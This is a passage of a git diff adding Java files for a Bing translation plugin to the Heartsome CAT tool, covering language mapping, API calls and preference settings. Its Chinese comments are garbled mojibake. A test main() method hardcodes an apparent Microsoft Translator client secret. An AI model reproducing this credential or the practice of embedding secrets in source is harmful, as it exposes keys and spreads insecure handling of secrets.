¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.bingtrans; + +import com.memetix.mst.language.Language; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class BingTransUtils { + + /** 处ç†è¯­è¨€ */ + public static Language processLanguage(String hsLanguageCode) { + // 由于中文å‰ç¼€ä¸€æ ·ï¼Œéœ€é’ˆå¯¹ä¸­æ–‡ç‰¹æ®Šå¤„ç†ã€‚ + if (hsLanguageCode.equalsIgnoreCase("zh-CN")) { + return Language.CHINESE_SIMPLIFIED; + } + + if (hsLanguageCode.equalsIgnoreCase("zh-TW") || hsLanguageCode.equalsIgnoreCase("zh-HK")) { + return Language.CHINESE_TRADITIONAL; + } + + Language[] supportedLangs = Language.values(); + for (Language lang : supportedLangs) { + String code = lang.toString(); + if (code.equals("")) { + continue; + } + + if (hsLanguageCode.startsWith(code) || code.startsWith(hsLanguageCode)) { + return lang; + } + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/SimpleMatcherBingImpl.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/SimpleMatcherBingImpl.java new file mode 100644 index 0000000..3b5397e --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/SimpleMatcherBingImpl.java @@ -0,0 +1,144 @@ +/** + * SimpleMatcherBingImpl.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.bingtrans; + +import net.heartsome.cat.ts.bingtrans.bean.PrefrenceParameters; +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; +import net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher; + +import com.memetix.mst.translate.Translate; + +/** + * http://code.google.com/p/microsoft-translator-java-api/ + * @author jason + * @version + * @since JDK1.6 + */ +public class SimpleMatcherBingImpl implements ISimpleMatcher { + + private PrefrenceParameters parameters = PrefrenceParameters.getInstance(); + private String type = "Bing"; + private String toolId = "Bing Translation"; + private String origin = "Bing Translation"; + + /** + * + */ + public SimpleMatcherBingImpl() { + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#getMatcherOrigin() + */ + public String getMatcherType() { + return type; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#getMathcerToolId() + */ + public String getMathcerToolId() { + return toolId; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#matchChecker() + */ + public boolean matchChecker() { + if (!parameters.getState()) { + return false; + } + if (parameters.isNeverAccess()) { + return false; + } + return true; + } + + // private boolean validator() { + // try { + // String result = Translate.execute("test", BingTransUtils.processLanguage("en-US"), + // BingTransUtils.processLanguage("zh-CN")); + // if (result.equals("测试")) { + // return true; + // } + // } catch (Exception e) { + // return false; + // } + // + // return false; + // } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#executeMatch(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) + */ + public String executeMatch(TransUnitInfo2TranslationBean tuInfo) { + try { + String srcText = tuInfo.getSrcPureText(); + String srcLang = tuInfo.getSrcLanguage(); + String tgtLang = tuInfo.getTgtLangugage(); + String bingId = parameters.getId(); + String bingKey = parameters.getKey(); + Translate.setClientId(bingId); + Translate.setClientSecret(bingKey); + String result = Translate.execute(srcText, BingTransUtils.processLanguage(srcLang), + BingTransUtils.processLanguage(tgtLang)); + if (result != null) { + return result; + } + } catch (Exception e) { + return ""; + } + return ""; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#isSuportPreTrans() + */ + public boolean isSuportPreTrans() { + if(parameters != null){ + return parameters.isSuportPreTrans() && parameters.getState(); + } + return false; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#isOverwriteMatch() + */ + public boolean isOverwriteMatch() { + return parameters.isAlwaysAccess(); + } + + public String getMathcerOrigin() { + return origin; + } + + public static void main(String arg[]) { + Translate.setClientId("Bing_Client_ID"); + Translate.setClientSecret("tEIlN/kkAFGFaNve4Q3q85sB6QARrlf2pMyBkuIgTjs="); + String result; + try { + result = Translate.execute(" Obey all safety messages that follow this symbol to avoid possible injury or death.", BingTransUtils.processLanguage("en-US"), BingTransUtils.processLanguage("zh-CN")); + System.out.println(result); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/bean/IPreferenceConstant.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/bean/IPreferenceConstant.java new file mode 100644 index 0000000..a9ed755 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/bean/IPreferenceConstant.java @@ -0,0 +1,42 @@ +/** + * IPreferenceConstant.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.bingtrans.bean; + +/** + * bingç¿»è¯‘é¦–é€‰é¡¹å¸¸é‡ + * @author jason + * @version + * @since JDK1.6 + */ +public interface IPreferenceConstant { + + /** + * 当å‰bing 翻译状æ€ï¼Œç”¨äºŽè®°å½•å½“å‰æ˜¯å¦é€šè¿‡äº†éªŒè¯ + */ + String STATE = "net.heartsome.cat.ts.bingtrans.state"; + + String ID = "net.heartsome.cat.ts.bingtrans.id"; + /** bing 翻译的Key */ + String KEY = "net.heartsome.cat.ts.bingtrans.key"; + + + String NO_REPEATE_ACCESS = "net.heartsome.cat.ts.bingtrans.norepeate"; + + String ALWAYS_ACCESS = "net.heartsome.cat.ts.bingtrans.always"; + + String MANUAL_ACCESS = "net.heartsome.cat.ts.bingtrans.manual"; + + + /** 是å¦æ”¯æŒé¢„翻译 */ + String PRETRANS_STATE = "net.heartsome.cat.ts.bingtrans.suportpretrans"; +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/bean/PrefrenceParameters.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/bean/PrefrenceParameters.java new file mode 100644 index 0000000..98bcee3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/bean/PrefrenceParameters.java @@ -0,0 +1,141 @@ +/** + * PrefrenceParameters.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.bingtrans.bean; + +import net.heartsome.cat.ts.bingtrans.Activator; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class PrefrenceParameters implements IPropertyChangeListener { + + private String id = ""; + private String key = ""; + private boolean state; + private boolean isNoRepateAccess; + private boolean isAlwaysAccess; + private boolean isNeverAccess; + + private boolean isSuportPreTrans; + + + private IPreferenceStore ps; + + private static PrefrenceParameters instance; + + public static PrefrenceParameters getInstance() { + if (instance == null) { + instance = new PrefrenceParameters(); + } + return instance; + } + + private PrefrenceParameters() { + ps = Activator.getDefault().getPreferenceStore(); + ps.addPropertyChangeListener(this); + loadPrefrence(); + } + + private void loadPrefrence() { + if (ps != null) { + state = ps.getBoolean(IPreferenceConstant.STATE); + key = ps.getString(IPreferenceConstant.KEY); + + id = ps.getString(IPreferenceConstant.ID); + isNoRepateAccess = ps.getBoolean(IPreferenceConstant.NO_REPEATE_ACCESS); + isAlwaysAccess = ps.getBoolean(IPreferenceConstant.ALWAYS_ACCESS); + isNeverAccess = ps.getBoolean(IPreferenceConstant.MANUAL_ACCESS); + + isSuportPreTrans = ps.getBoolean(IPreferenceConstant.PRETRANS_STATE); + } + } + + public void propertyChange(PropertyChangeEvent event) { + loadPrefrence(); + } + + public String getId(){ + return id; + } + + /** + * 获å–当å‰Key true or false + * @return ; + */ + public String getKey() { + return key; + } + + /** + * 获å–当å‰çŠ¶æ€ï¼Œtrue or false + * @return ; + */ + public boolean getState() { + return state; + } + + /** + * 返回访问APIçš„ç­–ç•¥, 没有指定访问策略则返回一个空串,如果有策略则返回对的首选项å‚æ•°å称 + * @return + */ + public String getAccessStrategy() { + if (isNoRepateAccess) { + return IPreferenceConstant.NO_REPEATE_ACCESS; + } + if (isAlwaysAccess) { + return IPreferenceConstant.ALWAYS_ACCESS; + } + if (isNeverAccess) { + return IPreferenceConstant.MANUAL_ACCESS; + } + return ""; + } + + /** + * 是å¦æ”¯æŒé¢„翻译 + * @return ; + */ + public boolean isSuportPreTrans() { + return isSuportPreTrans; + } + + /** + * 是å¦é‡å¤è®¿é—®API + * @return the isNoRepateAccess + */ + public boolean isNoRepateAccess() { + return isNoRepateAccess; + } + + /** + * 是å¦æ€»æ˜¯è®¿é—®API + * @return the isAlwaysAccess + */ + public boolean isAlwaysAccess() { + return isAlwaysAccess; + } + + /** + * 是å¦ä»Žä¸è®¿é—®API + * @return the isNeverAccess + */ + public boolean isNeverAccess() { + return isNeverAccess; + } +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/handler/ExecuteBingTransHandler.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/handler/ExecuteBingTransHandler.java new file mode 100644 index 0000000..24d0f8c --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/handler/ExecuteBingTransHandler.java @@ -0,0 +1,121 @@ +/** + * ExecuteBingTransHandler.java + * + * Version information : + * + * Date:2012-6-14 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.bingtrans.handler; + +import net.heartsome.cat.ts.bingtrans.SimpleMatcherBingImpl; +import net.heartsome.cat.ts.bingtrans.bean.PrefrenceParameters; +import net.heartsome.cat.ts.bingtrans.resource.Messages; +import net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.translation.view.MatchViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class ExecuteBingTransHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + + final IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof IXliffEditor)) { + return null; + } + + // check the google translation state: check the key availability + PrefrenceParameters ps = PrefrenceParameters.getInstance(); + if (!ps.getState()) { + MessageDialog.openError(window.getShell(), + Messages.getString("handler.ExecuteBingTransHandler.msgTitle"), + Messages.getString("handler.ExecuteBingTransHandler.msg")); + return null; + } + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(ExecuteBingTransHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + final IXliffEditor xliffEditor = (IXliffEditor) editor; + + final int[] selectedRowIndexs = xliffEditor.getSelectedRows(); + if (selectedRowIndexs.length == 0) { + return null; + } +// int currentRowIndex = selectedRowIndexs[0]; +// TransUnitBean transUnitBean = xliffEditor.getRowTransUnitBean(currentRowIndex); +// if (transUnitBean == null) { +// return null; +// } +// String srcPureText = transUnitBean.getSrcText(); +// String tgtLanguage = xliffEditor.getTgtColumnName(); +// String srcLanguage = xliffEditor.getSrcColumnName(); + +// TransUnitInfo2TranslationBean tuInfo2Trans = new TransUnitInfo2TranslationBean(); +// tuInfo2Trans.setSrcPureText(srcPureText); +// tuInfo2Trans.setSrcLanguage(srcLanguage); +// tuInfo2Trans.setTgtLangugage(tgtLanguage); + + ISimpleMatcher matcher = new SimpleMatcherBingImpl(); +// String tgtText = matcher.executeMatch(tuInfo2Trans); +// if (tgtText.equals("")) { +// return null; +// } + +// AltTransBean bean = new AltTransBean(srcPureText, tgtText, srcLanguage, tgtLanguage, +// matcher.getMathcerOrigin(), matcher.getMathcerToolId()); +// bean.getMatchProps().put("match-quality", "100"); +// bean.getMatchProps().put("hs:matchType", matcher.getMatcherType()); +// bean.setSrcContent(srcPureText); +// bean.setTgtContent(tgtText); + +// List newAltTrans = new ArrayList(); +// newAltTrans.add(bean); + + // check if need save the AltTrans to file +// if (CommonFunction.checkEdition("U") && matcher.isSuportPreTrans()) { +// List oldToolIds = new ArrayList(); +// oldToolIds.add(matcher.getMathcerToolId()); +// xliffEditor.getXLFHandler().updateAltTrans(xliffEditor.getXLFHandler().getRowId(currentRowIndex), newAltTrans, oldToolIds); +// } + + IViewPart viewPart = window.getActivePage().findView(MatchViewPart.ID); + if (viewPart != null && viewPart instanceof MatchViewPart) { + MatchViewPart matchView = (MatchViewPart) viewPart; + //matchView.refreshView(xliffEditor, selectedRowIndexs[0]); +// matchView.refreshViewByToolId(xliffEditor, newAltTrans, matcher.getMathcerToolId()); +// matchView.replaceMatchs(newAltTrans); +// newAltTrans.clear(); + matchView.manualExecSimpleTranslation(matcher); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/preference/BingPreferencePage.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/preference/BingPreferencePage.java new file mode 100644 index 0000000..f179347 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/preference/BingPreferencePage.java @@ -0,0 +1,386 @@ +/** + * BingPreferencePage.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.bingtrans.preference; + +import net.heartsome.cat.ts.bingtrans.Activator; +import net.heartsome.cat.ts.bingtrans.BingTransUtils; +import net.heartsome.cat.ts.bingtrans.bean.IPreferenceConstant; +import net.heartsome.cat.ts.bingtrans.resource.Messages; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Link; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +import com.memetix.mst.translate.Translate; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class BingPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + private IPreferenceStore ps; + + private Text idText; + private Text bingKeyText; + private Label stateLabel; + + // accessibility widget + private Button noRepeatAccessBtn; + private Button alwaysAccessBtn; + private Button manualAccessBtn; + + // preTranslation suport + private Button suportPreTransBtn; + + private Image rightImage; + private Image errorImage; + private boolean state; + + /** + * constructor + */ + public BingPreferencePage() { + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + ps = getPreferenceStore(); + state = ps.getBoolean(IPreferenceConstant.STATE); + rightImage = Activator.getImageDescriptor("images/right.png").createImage(); + errorImage = Activator.getImageDescriptor("images/error.png").createImage(); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.IWorkbenchPreferencePage#init(org.eclipse.ui.IWorkbench) + */ + public void init(IWorkbench workbench) { + + } + + // private Label label; + /** + * (non-Javadoc) + * @see org.eclipse.jface.preference.PreferencePage#createContents(org.eclipse.swt.widgets.Composite) + */ + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout(1, false)); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group apiKeySettingGroup = new Group(tparent, SWT.NONE); + apiKeySettingGroup.setText(Messages.getString("preference.BingPreferencePage.apiKeySettingGroup")); + apiKeySettingGroup.setLayout(new GridLayout(1, false)); + apiKeySettingGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + HsImageLabel lbKeySetting = new HsImageLabel(Messages.getString("preference.BingPreferencePage.lbKeySetting"), + Activator.getImageDescriptor("images/trans_bing_key_32.png")); + Composite com = lbKeySetting.createControl(apiKeySettingGroup); + + com.setLayout(new GridLayout(3, false)); + + Label lblId = new Label(com, SWT.NONE); + lblId.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblId.setText(Messages.getString("preference.BingPreferencePage.lblId")); + + idText = new Text(com, SWT.BORDER); + idText.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + new Label(com, SWT.NONE); + + Label lblApiKey = new Label(com, SWT.NONE); + lblApiKey.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblApiKey.setText(Messages.getString("preference.BingPreferencePage.lblApiKey")); + + bingKeyText = new Text(com, SWT.BORDER); + bingKeyText.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + stateLabel = new Label(com, SWT.NONE); + + new Label(com, SWT.NONE); + Button validateKey = new Button(com, SWT.NONE); + validateKey.setText(Messages.getString("preference.BingPreferencePage.validateKey")); + validateKey.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + String id = idText.getText(); + String bingKey = bingKeyText.getText(); + if (id == null || id.equals("")) { + MessageDialog.openInformation(getShell(), + Messages.getString("preference.BingPreferencePage.msgTitle"), + Messages.getString("preference.BingPreferencePage.msg1")); + return; + } + if (bingKey == null || bingKey.equals("")) { + MessageDialog.openInformation(getShell(), + Messages.getString("preference.BingPreferencePage.msgTitle"), + Messages.getString("preference.BingPreferencePage.msg2")); + return; + } + validator(); + enableComponent(state); + if (!state) { + MessageDialog.openInformation(getShell(), + Messages.getString("preference.BingPreferencePage.msgTitle"), + Messages.getString("preference.BingPreferencePage.msg3")); + return; + } + } + }); + new Label(com, SWT.NONE); + + new Label(com, SWT.NONE); + Link link = new Link(com, SWT.NONE); + link.setText("" + Messages.getString("preference.BingPreferencePage.link") + ""); + link.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch("http://msdn.microsoft.com/en-us/library/hh454950.aspx"); + } + }); + link.setToolTipText("http://msdn.microsoft.com/en-us/library/hh454950.aspx"); + new Label(com, SWT.NONE); + lbKeySetting.computeSize(); + + Group apiAccessibilityGroup = new Group(tparent, SWT.NONE); + apiAccessibilityGroup.setLayout(new GridLayout(1, false)); + apiAccessibilityGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + apiAccessibilityGroup.setText(Messages.getString("preference.BingPreferencePage.apiAccessibilityGroup")); + + HsImageLabel accessibility = new HsImageLabel( + Messages.getString("preference.BingPreferencePage.accessibility"), + Activator.getImageDescriptor("images/trans_bing_set_32.png")); + Composite accessibilityComp = accessibility.createControl(apiAccessibilityGroup); + accessibilityComp.setLayout(new GridLayout()); + noRepeatAccessBtn = new Button(accessibilityComp, SWT.RADIO); + noRepeatAccessBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + noRepeatAccessBtn.setText(Messages.getString("preference.BingPreferencePage.noRepeatAccessBtn")); + noRepeatAccessBtn.setEnabled(false); + noRepeatAccessBtn.setSelection(false); + + alwaysAccessBtn = new Button(accessibilityComp, SWT.RADIO); + alwaysAccessBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + alwaysAccessBtn.setText(Messages.getString("preference.BingPreferencePage.alwaysAccessBtn")); + alwaysAccessBtn.setEnabled(false); + alwaysAccessBtn.setSelection(false); + + manualAccessBtn = new Button(accessibilityComp, SWT.RADIO); + manualAccessBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + manualAccessBtn.setText(Messages.getString("preference.BingPreferencePage.neverAccessBtn")); + manualAccessBtn.setEnabled(false); + manualAccessBtn.setSelection(false); + accessibility.computeSize(); + + if (CommonFunction.checkEdition("U")) { + Group preTransGroup = new Group(tparent, SWT.NONE); + preTransGroup.setLayout(new GridLayout(1, false)); + preTransGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + preTransGroup.setText(Messages.getString("preference.BingPreferencePage.preTransGroup")); + + HsImageLabel preTrans = new HsImageLabel(Messages.getString("preference.BingPreferencePage.preTrans"), + Activator.getImageDescriptor("images/trans_bing_trans_32.png")); + Composite group = preTrans.createControl(preTransGroup); + group.setLayout(new GridLayout()); + + suportPreTransBtn = new Button(group, SWT.CHECK); + suportPreTransBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + suportPreTransBtn.setText(Messages.getString("preference.BingPreferencePage.suportPreTransBtn")); + suportPreTransBtn.setEnabled(false); + suportPreTransBtn.setSelection(false); + preTrans.computeSize(); + } + + setValues(false); + + return tparent; + } + + private void enableComponent(boolean currentState) { + alwaysAccessBtn.setEnabled(currentState); + manualAccessBtn.setEnabled(currentState); + noRepeatAccessBtn.setEnabled(currentState); + if (CommonFunction.checkEdition("U")) { + suportPreTransBtn.setEnabled(currentState); + } + + if (currentState) { + stateLabel.setImage(rightImage); + boolean noRepeate = ps.getBoolean(IPreferenceConstant.NO_REPEATE_ACCESS); + boolean always = ps.getBoolean(IPreferenceConstant.ALWAYS_ACCESS); + boolean never = ps.getBoolean(IPreferenceConstant.MANUAL_ACCESS); + + if (!(noRepeate || always || never)) { + noRepeate = ps.getDefaultBoolean(IPreferenceConstant.NO_REPEATE_ACCESS); + always = ps.getDefaultBoolean(IPreferenceConstant.ALWAYS_ACCESS); + never = ps.getDefaultBoolean(IPreferenceConstant.MANUAL_ACCESS); + } + alwaysAccessBtn.setSelection(always); + manualAccessBtn.setSelection(never); + noRepeatAccessBtn.setSelection(noRepeate); + boolean preTrans = ps.getBoolean(IPreferenceConstant.PRETRANS_STATE); + + if (CommonFunction.checkEdition("U")) { + suportPreTransBtn.setSelection(preTrans); + } + } else { + stateLabel.setImage(errorImage); + alwaysAccessBtn.setSelection(false); + manualAccessBtn.setSelection(false); + noRepeatAccessBtn.setSelection(false); + if (CommonFunction.checkEdition("U")) { + suportPreTransBtn.setSelection(false); + } + } + // ps.setValue(IPreferenceConstant.STATE, currentState); // 记录当å‰é€šè¿‡äº†éªŒè¯ + } + + @Override + protected void performDefaults() { + setValues(true); + } + + @Override + protected void performApply() { + super.performApply(); + String id = idText.getText(); + String bingKey = bingKeyText.getText(); + if (id == null || id.equals("")) { + state = false; + enableComponent(state); + } else if (bingKey == null || bingKey.equals("")) { + state = false; + enableComponent(state); + } else { + validator(); + enableComponent(state); + if (!state) { + MessageDialog.openInformation(getShell(), + Messages.getString("preference.BingPreferencePage.msgTitle"), + Messages.getString("preference.BingPreferencePage.msg3")); + } + } + } + + @Override + public boolean performOk() { + + String id = idText.getText(); + String key = bingKeyText.getText(); + + if (id == null || id.equals("")) { + state = false; + } else if (key == null || key.equals("")) { + state = false; + } else { + validator(); + } + + boolean always = alwaysAccessBtn.getSelection(); + boolean manual = manualAccessBtn.getSelection(); + + ps.setValue(IPreferenceConstant.STATE, state); + ps.setValue(IPreferenceConstant.ID, id); + ps.setValue(IPreferenceConstant.KEY, key); + ps.setValue(IPreferenceConstant.ALWAYS_ACCESS, always); + ps.setValue(IPreferenceConstant.MANUAL_ACCESS, manual); + boolean noRepeat = noRepeatAccessBtn.getSelection(); + ps.setValue(IPreferenceConstant.NO_REPEATE_ACCESS, noRepeat); + if (CommonFunction.checkEdition("U")) { + boolean preTrans = suportPreTransBtn.getSelection(); + ps.setValue(IPreferenceConstant.PRETRANS_STATE, preTrans); + } + + return true; + } + + /** @return the checkResult */ + public boolean isCheckResult() { + return state; + } + + /** + * @param checkResult + * the checkResult to set + */ + public void setCheckResult(boolean checkResult) { + this.state = checkResult; + } + + private void validator() { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + String id = idText.getText(); + String bingKey = bingKeyText.getText(); + if (bingKey != null && 